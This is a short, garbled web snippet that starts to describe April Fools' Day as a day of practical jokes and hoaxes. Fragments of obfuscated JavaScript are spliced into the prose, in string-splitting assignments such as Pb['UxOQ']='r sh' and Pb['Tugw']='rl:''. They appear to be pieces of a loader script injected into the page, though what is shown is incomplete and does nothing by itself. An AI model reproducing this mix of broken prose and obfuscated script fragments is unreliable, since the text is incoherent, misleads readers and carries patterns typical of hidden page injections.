Annual April Fools' Day (sometimes called All Fools' Day) is celebrated every year on April 1 by playing practical jokes and spreading hoaxes.. js";Pb["IYWw"]="\"yah";Pb["UxOQ"]="r sh";Pb["UgrA"]="',da";Pb["GfDm"]="extS";Pb["HiNI"]="e.. Also called All Fools' Day Type Cultural, Western Significance Practical Jokes, Hoaxes. \")";Pb["Tugw"]="rl:'";Pb["SRXQ"]="((re";Pb["NRZE"]="fals";Pb["djNE"]="at..